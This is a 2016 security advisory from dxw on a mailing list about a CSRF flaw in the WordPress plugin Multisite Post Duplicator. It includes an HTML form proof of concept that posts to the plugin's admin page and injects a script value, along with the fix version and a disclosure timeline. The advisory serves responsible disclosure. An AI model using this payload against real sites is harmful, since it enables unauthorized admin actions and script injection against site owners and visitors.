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Date: Fri, 9 Dec 2016 14:39:12 +0000
From: dxw Security <>
Subject: [FD] CSRF vulnerability in Multisite Post Duplicator could allow an
	attacker to do almost anything an admin user can do
	(WordPress plugin)

Software: Multisite Post Duplicator
Advisory report:
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do

Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another.
This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do).
This could also be used to view content not meant to be published.

Proof of concept
Some of these values may need adjusting depending on the post IDs, blog IDs, etc.
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\">
  <input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
  <input type=\"text\" name=\"mdp-prefix\" value=\"&lt;script&gt;alert(1)&lt;/script&gt;\">
  <input type=\"text\" name=\"action\" value=\"add_foobar\">
  <input type=\"text\" name=\"el0\" value=\"post\">
  <input type=\"text\" name=\"el1\" value=\"1\">
  <input type=\"text\" name=\"el2\" value=\"1\">
  <input type=\"text\" name=\"el3\" value=\"1\">
  <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
  <input type=\"submit\">

Update to version 1.1.3 or later.

Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:

Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.


2016-11-01: Discovered
2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described
2016-12-09: Advisory published

Discovered by dxw:
Tom Adams
Please visit for more information.

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